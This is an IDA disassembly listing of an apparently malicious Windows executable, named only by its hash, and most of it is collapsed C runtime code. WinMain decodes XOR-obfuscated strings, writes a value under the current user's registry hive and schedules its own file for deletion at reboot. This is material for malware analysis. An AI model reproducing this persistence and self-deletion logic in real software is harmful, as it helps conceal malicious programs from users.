;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	C3D16BB5B75DED82D25A508AF0DFC3AE

; File Name   :	u:\work\c3d16bb5b75ded82d25a508af0dfc3ae_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00003CC8 (  15560.)
; Section size in file		: 00003CC8 (  15560.)
; Offset to raw	data for section: 00001000
; Flags	60000020: Text Executable Readable
; Alignment	: default
; OS type	  :  MS	Windows
; Application type:  Executable	32bit


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int	nShowCmd)

_WinMain@16	proc near		; CODE XREF: start+186p

var_23C		= byte ptr -23Ch
var_138		= byte ptr -138h
var_38		= byte ptr -38h
var_4		= dword	ptr -4
hInstance	= dword	ptr  8
hPrevInstance	= dword	ptr  0Ch
lpCmdLine	= dword	ptr  10h
nShowCmd	= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 23Ch
		push	ebx
		xor	ebx, ebx
		xor	eax, eax

loc_40100E:				; CODE XREF: WinMain(x,x,x,x)+22j
		mov	cl, byte_407050[eax]
		xor	cl, 79h
		mov	[ebp+eax+var_138], cl
		inc	eax
		cmp	eax, 29h
		jl	short loc_40100E
		mov	[ebp+eax+var_138], bl
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		push	80000001h
		call	ds:dword_405000	; RegCreateKeyA
		xor	eax, eax

loc_401043:				; CODE XREF: WinMain(x,x,x,x)+57j
		mov	cl, byte_407030[eax]
		xor	cl, 79h
		mov	[ebp+eax+var_138], cl
		inc	eax
		cmp	eax, 1Ch
		jl	short loc_401043
		mov	[ebp+eax+var_138], bl
		xor	eax, eax

loc_401062:				; CODE XREF: WinMain(x,x,x,x)+73j
		mov	cl, byte_40707C[eax]
		xor	cl, 79h
		mov	[ebp+eax+var_38], cl
		inc	eax
		cmp	eax, 0Ah
		jl	short loc_401062
		mov	[ebp+eax+var_38], bl
		lea	eax, [ebp+var_138]
		push	eax
		call	ds:dword_40500C	; lstrlen
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		push	1
		push	ebx
		lea	eax, [ebp+var_38]
		push	eax
		push	[ebp+var_4]
		call	ds:dword_405004	; RegSetValueExA
		push	104h
		lea	eax, [ebp+var_23C]
		push	eax
		push	ebx
		call	ds:dword_405010	; GetModuleFileNameA
		push	4
		push	ebx
		lea	eax, [ebp+var_23C]
		push	eax
		call	ds:dword_405014	; MoveFileExA
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
_WinMain@16	endp

; [00000022 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD	"+" TO EXPAND]
		pop	ecx
		pop	ecx
		retn
; [000001DC BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]
; [00000030 BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND]
; [0000006A BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+"	TO EXPAND]
; [000000C1 BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+"	TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION _exit. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND]
; [0000000F BYTES: COLLAPSED FUNCTION __cexit. PRESS KEYPAD "+"	TO EXPAND]
; [0000000F BYTES: COLLAPSED FUNCTION __c_exit.	PRESS KEYPAD "+" TO EXPAND]
; [00000177 BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO	EXPAND]
; [00000039 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND]
; [00000171 BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO	EXPAND]
; [0000005D BYTES: COLLAPSED FUNCTION __wincmdln. PRESS	KEYPAD "+" TO EXPAND]
; [000000C7 BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND]
; [0000016C BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND]
; [000000A2 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND]
; [00000122 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO	EXPAND]
; [000001AB BYTES: COLLAPSED FUNCTION __ioinit.	PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D84	proc near		; CODE XREF: start:loc_4011E0p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset stru_405538
		call	__SEH_prolog
		mov	[ebp+var_1C], offset dword_405D8C

loc_401D97:				; CODE XREF: sub_401D84+3Cj
		cmp	[ebp+var_1C], offset dword_405D8C
		jnb	short loc_401DC2
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_401DB8
		call	eax
		jmp	short loc_401DB8
; ---------------------------------------------------------------------------

loc_401DB1:				; DATA XREF: .rdata:stru_405538o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_401DB5:				; DATA XREF: .rdata:stru_405538o
		mov	esp, [ebp+ms_exc.old_esp]

loc_401DB8:				; CODE XREF: sub_401D84+27j
					; sub_401D84+2Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		add	[ebp+var_1C], 4
		jmp	short loc_401D97
; ---------------------------------------------------------------------------

loc_401DC2:				; CODE XREF: sub_401D84+1Aj
		call	__SEH_epilog
		retn
sub_401D84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void sub_401DC8(void)

sub_401DC8	proc near		; DATA XREF: __cinit:loc_401334o

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset stru_405548
		call	__SEH_prolog
		mov	[ebp+var_1C], offset dword_405D94

loc_401DDB:				; CODE XREF: sub_401DC8+3Cj
		cmp	[ebp+var_1C], offset dword_405D94
		jnb	short loc_401E06
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_401DFC
		call	eax
		jmp	short loc_401DFC
; ---------------------------------------------------------------------------

loc_401DF5:				; DATA XREF: .rdata:stru_405548o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_401DF9:				; DATA XREF: .rdata:stru_405548o
		mov	esp, [ebp+ms_exc.old_esp]

loc_401DFC:				; CODE XREF: sub_401DC8+27j
					; sub_401DC8+2Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		add	[ebp+var_1C], 4
		jmp	short loc_401DDB
; ---------------------------------------------------------------------------

loc_401E06:				; CODE XREF: sub_401DC8+1Aj
		call	__SEH_epilog
		retn
sub_401DC8	endp

; [0000001A BYTES: COLLAPSED FUNCTION ___heap_select. PRESS KEYPAD "+" TO EXPAND]
; [00000051 BYTES: COLLAPSED FUNCTION __heap_init. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [0000003B BYTES: COLLAPSED FUNCTION __SEH_prolog. PRESS KEYPAD "+" TO	EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __SEH_epilog. PRESS KEYPAD "+" TO	EXPAND]
; ---------------------------------------------------------------------------
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh
; [000000E6 BYTES: COLLAPSED FUNCTION __except_handler3. PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION _seh_longjmp_unwind(x). PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000003D BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND]
; [00000082 BYTES: COLLAPSED FUNCTION __onexit.	PRESS KEYPAD "+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION _atexit. PRESS KEYPAD "+"	TO EXPAND]
; [00000028 BYTES: COLLAPSED FUNCTION ___onexitinit. PRESS KEYPAD "+" TO EXPAND]
; [000000F9 BYTES: COLLAPSED FUNCTION ___crtMessageBoxA. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000007 BYTES: COLLAPSED FUNCTION _strcpy. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000E8 BYTES: COLLAPSED FUNCTION _strcat. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000124 BYTES: COLLAPSED FUNCTION _strncpy.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000008B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+"	TO EXPAND]
; ---------------------------------------------------------------------------
; [0000001D BYTES: COLLAPSED CHUNK OF FUNCTION sub_4024BC. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4024A8	proc near		; DATA XREF: .rdata:stru_4055C8o
		xor	eax, eax
		inc	eax
		retn
sub_4024A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4024AC	proc near		; DATA XREF: .rdata:stru_4055C8o
		mov	esp, [ebp-18h]
sub_4024AC	endp ; sp-analysis failed

; [0000000D BYTES: COLLAPSED CHUNK OF FUNCTION sub_4024BC. PRESS KEYPAD	"+" TO EXPAND]
; [0000000E BYTES: COLLAPSED FUNCTION sub_4024BC. PRESS	KEYPAD "+" TO EXPAND]
; [00000033 BYTES: COLLAPSED FUNCTION _x_ismbbtype. PRESS KEYPAD "+" TO	EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD	"+" TO EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION _setSBCS.	PRESS KEYPAD "+" TO EXPAND]
; [0000018C BYTES: COLLAPSED FUNCTION _setSBUpLow. PRESS KEYPAD	"+" TO EXPAND]
; [000001E6 BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND]
; [0000001E BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+"	TO EXPAND]
; [00000038 BYTES: COLLAPSED FUNCTION _free. PRESS KEYPAD "+" TO EXPAND]
; [00000046 BYTES: COLLAPSED FUNCTION __heap_alloc. PRESS KEYPAD "+" TO	EXPAND]
; [0000002C BYTES: COLLAPSED FUNCTION __nh_malloc. PRESS KEYPAD	"+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000033D BYTES: COLLAPSED FUNCTION _memcpy. PRESS KEYPAD "+"	TO EXPAND]
; [00000048 BYTES: COLLAPSED FUNCTION ___sbh_heap_init.	PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND]
; [00000318 BYTES: COLLAPSED FUNCTION ___sbh_free_block. PRESS KEYPAD "+" TO EXPAND]
; [000000B7 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+"	TO EXPAND]
; [00000106 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND]
; [000002DF BYTES: COLLAPSED FUNCTION ___sbh_resize_block. PRESS KEYPAD	"+" TO EXPAND]
; [000002FC BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS	KEYPAD "+" TO EXPAND]
; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2.	PRESS KEYPAD "+" TO EXPAND]
; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler.	PRESS KEYPAD "+" TO EXPAND]
; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+"	TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

__NLG_Notify1:
		push	ebx
		push	ecx
		mov	ebx, offset dword_4072C0
		jmp	short loc_403900
; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO	EXPAND]
; [00000229 BYTES: COLLAPSED FUNCTION __ValidateEH3RN. PRESS KEYPAD "+"	TO EXPAND]
; [00000162 BYTES: COLLAPSED FUNCTION _realloc.	PRESS KEYPAD "+" TO EXPAND]
; [00000038 BYTES: COLLAPSED FUNCTION __msize. PRESS KEYPAD "+"	TO EXPAND]
; [00000066 BYTES: COLLAPSED FUNCTION ___security_init_cookie. PRESS KEYPAD "+"	TO EXPAND]
; [00000147 BYTES: COLLAPSED FUNCTION ___security_error_handler. PRESS KEYPAD "+" TO EXPAND]
		db 0CCh
; [000003BC BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS	KEYPAD "+" TO EXPAND]
; [000001BA BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO	EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION __callnewh. PRESS	KEYPAD "+" TO EXPAND]
; [0000033D BYTES: COLLAPSED FUNCTION _memcpy_0. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000060 BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+"	TO EXPAND]
; [00000043 BYTES: COLLAPSED FUNCTION ___ansicp. PRESS KEYPAD "+" TO EXPAND]
; [000001C9 BYTES: COLLAPSED FUNCTION ___convertcp. PRESS KEYPAD "+" TO	EXPAND]
; [000000E3 BYTES: COLLAPSED FUNCTION __resetstkoflw. PRESS KEYPAD "+" TO EXPAND]
; [0000007B BYTES: COLLAPSED FUNCTION _calloc. PRESS KEYPAD "+"	TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION _atol. PRESS KEYPAD "+" TO EXPAND]
; [00000090 BYTES: COLLAPSED FUNCTION __ismbcspace. PRESS KEYPAD "+" TO	EXPAND]
		align 10h

__allmul:
		mov	eax, [esp+8]
		mov	ecx, [esp+10h]
		or	ecx, eax
		mov	ecx, [esp+0Ch]
		jnz	short loc_404C29
		mov	eax, [esp+4]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------

loc_404C29:				; CODE XREF: .text:00404C1Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+8]
		mul	dword ptr [esp+14h]
		add	ebx, eax
		mov	eax, [esp+8]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
; [0000007E BYTES: COLLAPSED FUNCTION __isctype. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_404CC2	proc near		; CODE XREF: __global_unwind2+13p
		jmp	ds:dword_405090
sub_404CC2	endp

_text		ends

; Section 2. (virtual address 00005000)
; Virtual size			: 0000125C (   4700.)
; Section size in file		: 0000125C (   4700.)
; Offset to raw	data for section: 00005000
; Flags	40000040: Data Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 405000h
dword_405000	dd 77DD72F0h		; DATA XREF: WinMain(x,x,x,x)+3Br
dword_405004	dd 77DD59F0h		; DATA XREF: WinMain(x,x,x,x)+98r
		dd 0
dword_40500C	dd 77E74672h		; DATA XREF: WinMain(x,x,x,x)+80r
dword_405010	dd 77E7A099h		; DATA XREF: WinMain(x,x,x,x)+ABr
					; __NMSG_WRITE+81r ...
dword_405014	dd 77E645E4h		; DATA XREF: WinMain(x,x,x,x)+BBr
dword_405018	dd 77E79F93h		; DATA XREF: start+6Dr
					; unknown_libname_1+5r
dword_40501C	dd 77E6177Ah		; DATA XREF: start+160r __ioinit+57r
dword_405020	dd 77E7C938h		; DATA XREF: start:loc_4011F9r
dword_405024	dd 77E7C657h		; DATA XREF: start+20r
dword_405028	dd 77E75CB5h		; DATA XREF: unknown_libname_1+29r
					; sub_4024BC-7r
dword_40502C	dd 77E7A5FDh		; DATA XREF: unknown_libname_1+15r
					; ___crtMessageBoxA+28r
dword_405030	dd 77E616B4h		; DATA XREF: _doexit+1Ar
dword_405034	dd 77E79C90h		; DATA XREF: _doexit+13r
dword_405038	dd 77E79D8Ch		; DATA XREF: __NMSG_WRITE+155r
dword_40503C	dd 77E79C3Dh		; DATA XREF: __NMSG_WRITE+14Er
					; __ioinit+157r
dword_405040	dd 77EB9A84h		; DATA XREF: __XcptFilter+167r
dword_405044	dd 77E9C5B1h		; DATA XREF: ___crtGetEnvironmentStringsA+113r
dword_405048	dd 77E67702h		; DATA XREF: ___crtGetEnvironmentStringsA:loc_401B8Er
dword_40504C	dd 77E7C9E1h		; DATA XREF: ___crtGetEnvironmentStringsA+C1r
dword_405050	dd 77E79924h		; DATA XREF: ___crtGetEnvironmentStringsA:loc_401B26r
					; ___crtLCMapStringA+22Dr ...
dword_405054	dd 77F5157Dh		; DATA XREF: ___crtGetEnvironmentStringsA:loc_401AE7r
					; ___crtLCMapStringA:loc_403EB8r ...
dword_405058	dd 77E77EE1h		; DATA XREF: ___crtGetEnvironmentStringsA+Br
dword_40505C	dd 77E7C931h		; DATA XREF: __ioinit+19Cr
dword_405060	dd 77E78406h		; DATA XREF: __ioinit+FEr
					; __ioinit+165r
dword_405064	dd 77E76E0Bh		; DATA XREF: __heap_init+44r
dword_405068	dd 77E7C726h		; DATA XREF: __heap_init+11r
dword_40506C	dd 77E79E34h		; DATA XREF: ___sbh_free_block+22Fr
dword_405070	dd 77F51597h		; DATA XREF: _free+30r
					; ___sbh_free_block+2B4r ...
dword_405074	dd 77E805D8h		; DATA XREF: ___crtMessageBoxA+18r
dword_405078	dd 77E7A13Fh		; DATA XREF: __setmbcp+42r
dword_40507C	dd 77E6C703h		; DATA XREF: __setmbcp+2Br
dword_405080	dd 77E7849Fh		; DATA XREF: _setSBUpLow+1Cr
					; __setmbcp+93r ...
dword_405084	dd 77F516F8h		; DATA XREF: __heap_alloc+3Er
					; ___sbh_heap_init+Dr ...
dword_405088	dd 77E7980Ah		; DATA XREF: ___sbh_alloc_new_region+7Er
					; ___sbh_alloc_new_group+52r ...
dword_40508C	dd 77F5722Fh		; DATA XREF: ___sbh_alloc_new_region+27r
					; _realloc+FDr	...
dword_405090	dd 77F6183Eh		; DATA XREF: sub_404CC2r
dword_405094	dd 77E775F1h		; DATA XREF: __ValidateEH3RN+131r
					; __ValidateEH3RN+196r	...
dword_405098	dd 77E7F044h		; DATA XREF: __ValidateEH3RN+B3r
					; __resetstkoflw+1Ar ...
dword_40509C	dd 77F522F2h		; DATA XREF: __msize+30r
dword_4050A0	dd 77E802FCh		; DATA XREF: ___security_init_cookie+43r
dword_4050A4	dd 77E7751Ah		; DATA XREF: ___security_init_cookie+37r
dword_4050A8	dd 77E77CC4h		; DATA XREF: ___security_init_cookie+2Fr
dword_4050AC	dd 77E80656h		; DATA XREF: ___security_init_cookie+27r
dword_4050B0	dd 77E6167Bh		; DATA XREF: ___security_init_cookie+1Br
dword_4050B4	dd 77E77405h		; DATA XREF: ___crtLCMapStringA+2C3r
					; ___crtLCMapStringA+344r ...
dword_4050B8	dd 77E77CCEh		; DATA XREF: ___crtLCMapStringA+C0r
					; ___crtLCMapStringA+141r ...
dword_4050BC	dd 77E781F9h		; DATA XREF: ___crtLCMapStringA+27r
					; ___crtLCMapStringA+15Br ...
dword_4050C0	dd 77E641EBh		; DATA XREF: ___crtGetStringTypeA+19Cr
dword_4050C4	dd 77E7C866h		; DATA XREF: ___crtGetStringTypeA+24r
					; ___crtGetStringTypeA+128r
dword_4050C8	dd 77E7513Ch		; DATA XREF: ___ansicp+20r
dword_4050CC	dd 77E6169Ah		; DATA XREF: __resetstkoflw+D5r
dword_4050D0	dd 77E7C3A5h		; DATA XREF: __resetstkoflw+2Br
		dd 4 dup(0)
aBxF		db 'bX]F',0
		align 4
		dd 2, 58h, 5D20h, 4F20h, 0
stru_405100	_msEH <0FFFFFFFFh, offset loc_40128F, offset loc_4012A3>
					; DATA XREF: start+2o
aCorexitprocess	db 'CorExitProcess',0   ; DATA XREF: unknown_libname_1+Fo
		align 4
aMscoree_dll	db 'mscoree.dll',0      ; DATA XREF: unknown_libname_1o
aRuntimeError	db 'runtime error ',0
		align 4
		db 0Dh,0Ah,0
		align 4
aTlossError	db 'TLOSS error',0Dh,0Ah,0
		align 4
aSingError	db 'SING error',0Dh,0Ah,0
		align 4
aDomainError	db 'DOMAIN error',0Dh,0Ah,0
		align 10h
aR6029ThisAppli	db 'R6029',0Dh,0Ah
		db '- This application cannot run using the active version of the Mic'
		db 'rosoft .NET Runtime',0Ah
		db 'Please contact the application',27h,'s support team for more informa'
		db 'tion.',0Dh,0Ah,0
		align 4
aR6028UnableToI	db 'R6028',0Dh,0Ah
		db '- unable to initialize heap',0Dh,0Ah,0
		align 4
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aThisApplicatio	db 0Dh,0Ah
		db 'This application has requested the Runtime to terminate it in an '
		db 'unusual way.',0Ah
		db 'Please contact the application',27h,'s support team for more informa'
		db 'tion.',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .data:off_407094o
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE+123o
					; ___security_error_handler+132o
		align 4
; char asc_4054F8[]
asc_4054F8	db 0Ah			; DATA XREF: __NMSG_WRITE+107o
					; ___security_error_handler+FCo
		db 0Ah,0
		align 4
; char aRuntimeErrorPr[]
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE+F5o
		db 0Ah
		db 'Program: ',0
		align 4
; char a___[]
a___		db '...',0              ; DATA XREF: __NMSG_WRITE+C1o
					; ___security_error_handler+CCo
; char aProgramNameUnk[]
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: __NMSG_WRITE+8Eo
					; ___security_error_handler+8Bo
byte_405533	db 0			; DATA XREF: __wincmdln+1Bo
		align 8
stru_405538	_msEH <0FFFFFFFFh, offset loc_401DB1, offset loc_401DB5>
					; DATA XREF: sub_401D84+2o
		align 8
stru_405548	_msEH <0FFFFFFFFh, offset loc_401DF5, offset loc_401DF9>
					; DATA XREF: sub_401DC8+2o
aGetprocesswind	db 'GetProcessWindowStation',0 ; DATA XREF: ___crtMessageBoxA+73o
aGetuserobjecti	db 'GetUserObjectInformationA',0 ; DATA XREF: ___crtMessageBoxA+62o
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA+47o
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: ___crtMessageBoxA+3Fo
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: ___crtMessageBoxA+2Eo
aUser32_dll	db 'user32.dll',0       ; DATA XREF: ___crtMessageBoxA+13o
		align 8
stru_4055C8	_msEH <0FFFFFFFFh, offset sub_4024A8, offset sub_4024AC>
					; DATA XREF: sub_4024BC-2Fo
; char aProgram[]
aProgram	db 'Program: ',0        ; DATA XREF: ___security_error_handler+108o
		align 10h
aABufferOverrun	db 'A buffer overrun has been detected which has corrupted the progra'
					; DATA XREF: ___security_error_handler+62o
		db 'm',27h,'s',0Ah
		db 'internal state.  The program cannot safely continue execution and'
		db ' must',0Ah
		db 'now be terminated.',0Ah,0
aBufferOverrunD	db 'Buffer overrun detected!',0
					; DATA XREF: ___security_error_handler:loc_403D94o
		align 10h
aASecurityError	db 'A security error of unknown cause has been detected which has',0Ah
					; DATA XREF: ___security_error_handler+4Co
		db 'corrupted the program',27h,'s internal state.  The program cannot sa'
		db 'fely',0Ah
		db 'continue execution and must now be terminated.',0Ah,0
		align 4
; char aUnknownSecurit[]
aUnknownSecurit	db 'Unknown security failure detected!',0
					; DATA XREF: ___security_error_handler+47o
		align 4
stru_405778	_msEH <0FFFFFFFFh, offset loc_403D6F, offset loc_403D73>
					; DATA XREF: ___security_error_handler+5o
		dd 41h dup(0)
asc_405888:				; DATA XREF: .data:off_4072D0o
		unicode	0, <	     (((((		    H>
		dw 10h
		dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h
		dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h)
		dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h
		dd 100010h, 200010h, 40h dup(0)
dword_405A88	dd 200000h, 4 dup(200020h), 280068h, 280028h, 200028h
					; DATA XREF: .data:004072D4o
		dd 8 dup(200020h), 480020h, 7 dup(100010h), 840010h, 4 dup(840084h)
		dd 100084h, 3 dup(100010h), 3 dup(1810181h), 0Ah dup(1010101h)
		dd 3 dup(100010h), 3 dup(1820182h), 0Ah	dup(1020102h)
		dd 2 dup(100010h), 10h dup(200020h), 480020h, 8	dup(100010h)
		dd 140010h, 100014h, 2 dup(100010h), 100014h, 2	dup(100010h)
		dd 1010010h, 0Bh dup(1010101h),	1010010h, 3 dup(1010101h)
		dd 0Ch dup(1020102h), 1020010h,	3 dup(1020102h), 1010102h
dword_405C8C	dd 0			; DATA XREF: ___crtLCMapStringA+1Co
					; ___crtGetStringTypeA+1Eo
stru_405C90	_msEH <0FFFFFFFFh, offset loc_404178, offset loc_40417C>
					; DATA XREF: ___crtLCMapStringA+2o
		dd 0FFFFFFFFh, 403F75h,	403F79h, 0FFFFFFFFh, 404043h, 404047h
		dd 0
stru_405CB8	_msEH <0FFFFFFFFh, offset loc_404314, offset loc_404318>
					; DATA XREF: ___crtGetStringTypeA+2o
		align 8
stru_405CC8	_msEH <0FFFFFFFFh, offset loc_4048C5, offset loc_4048C9>
					; DATA XREF: ___convertcp+2o
		align 8
		dd 48h,	0Eh dup(0)
		dd offset dword_4071C0
		dd offset dword_405D80
		dd 2, 53445352h, 0D35AE902h, 452F1ED4h,	52A058BFh, 0AAE30B17h
		dd 1
aPProjectsKlikt	db 'p:\Projects\Kliktanje\gen_impression\Release\gen_impression.pdb',0
		align 10h
dword_405D80	dd 1ECCh, 3840h, 0	; DATA XREF: .rdata:00405D18o
dword_405D8C	dd 2 dup(0)		; DATA XREF: sub_401D84+Co
					; sub_401D84:loc_401D97o
dword_405D94	dd 0			; DATA XREF: sub_401DC8+Co
					; sub_401DC8:loc_401DDBo
		dd 5DE0h, 2 dup(0)
		dd 5EDCh, 500Ch, 5DD4h,	2 dup(0)
		dd 5F0Ch, 5000h, 5 dup(0)
		dd 5EFCh, 5EEAh, 0
		dd 5ED0h, 5EBAh, 5EACh,	5F1Ah, 5F2Eh, 5F40h, 5F52h, 5F62h
		dd 5F70h, 5F82h, 5F96h,	5FAAh, 5FB6h, 5FC6h, 5FE2h, 5FFCh
		dd 6014h, 602Eh, 6044h,	6054h, 606Eh, 6080h, 608Eh, 609Ch
		dd 60AAh, 60B8h, 60C4h,	60D4h, 60DEh, 60EAh, 60F6h, 6102h
		dd 6112h, 6120h, 612Ch,	6142h, 6152h, 615Eh, 6178h, 6188h
		dd 619Eh, 61B4h, 61CEh,	61DEh, 61F4h, 6204h, 6216h, 6228h
		dd 623Ah, 624Ch, 0
		dd 6F4D0265h, 69466576h, 7845656Ch, 1750041h
aGetmodulefilen	db 'GetModuleFileNameA',0
		align 10h
		dd 736C03BCh, 656C7274h, 416Eh,	4E52454Bh, 32334C45h, 6C6C642Eh
